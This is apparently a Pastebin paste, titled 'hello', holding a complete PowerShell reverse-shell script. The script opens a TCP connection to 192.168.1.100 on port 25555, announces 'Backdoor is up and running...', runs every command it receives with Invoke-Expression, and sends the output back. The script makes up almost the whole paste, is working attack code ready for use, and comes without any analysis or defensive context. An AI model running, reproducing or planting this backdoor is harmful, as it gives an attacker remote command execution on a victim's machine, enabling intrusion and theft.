Advertisement
or2

hello

or2
Aug 1st, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $socket = $null;
  2. $stream = $null;
  3. $buffer = $null;
  4. $writer = $null;
  5. $data = $null;
  6. $result = $null;
  7. try {
  8.     $socket = New-Object Net.Sockets.TcpClient("192.168.1.100", 25555);
  9.     $stream = $socket.GetStream();
  10.     $buffer = New-Object Byte[] 1024;
  11.     $encoding = New-Object Text.AsciiEncoding;
  12.     $writer = New-Object IO.StreamWriter($stream);
  13.     $writer.AutoFlush = $true;
  14.     Write-Host "Backdoor is up and running...";
  15.     do {
  16.         $writer.Write("PS>");
  17.         do {
  18.             $bytes = $stream.Read($buffer, 0, $buffer.Length);
  19.             if ($bytes -gt 0) {
  20.                 $data = $data + $encoding.GetString($buffer, 0, $bytes);
  21.             } else {
  22.                 $data = "exit";
  23.             }
  24.         } while ($stream.DataAvailable);
  25.         if ($data.Length -gt 0 -and $data -ne "exit") {
  26.             try {
  27.                 $result = Invoke-Expression $data | Out-String;
  28.             } catch {
  29.                 $result = $_.Exception.InnerException.Message;
  30.             }
  31.             $writer.WriteLine($result);
  32.             Clear-Variable -Name "data";
  33.         }
  34.     } while ($data -ne "exit");
  35. } catch {
  36.     Write-Host $_.Exception.InnerException.Message;
  37. } finally {
  38.     if ($socket -ne $null) {
  39.         $socket.Close();
  40.         $socket.Dispose();
  41.     }
  42.     if ($stream -ne $null) {
  43.         $stream.Close();
  44.         $stream.Dispose();
  45.     }
  46.     if ($buffer -ne $null) {
  47.         $buffer.Clear();
  48.     }
  49.     if ($writer -ne $null) {
  50.         $writer.Close();
  51.         $writer.Dispose();
  52.     }
  53.     if ($data -ne $null) {
  54.         Clear-Variable -Name "data";
  55.     }
  56.     if ($result -ne $null) {
  57.         Clear-Variable -Name "result";
  58.     }
  59. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement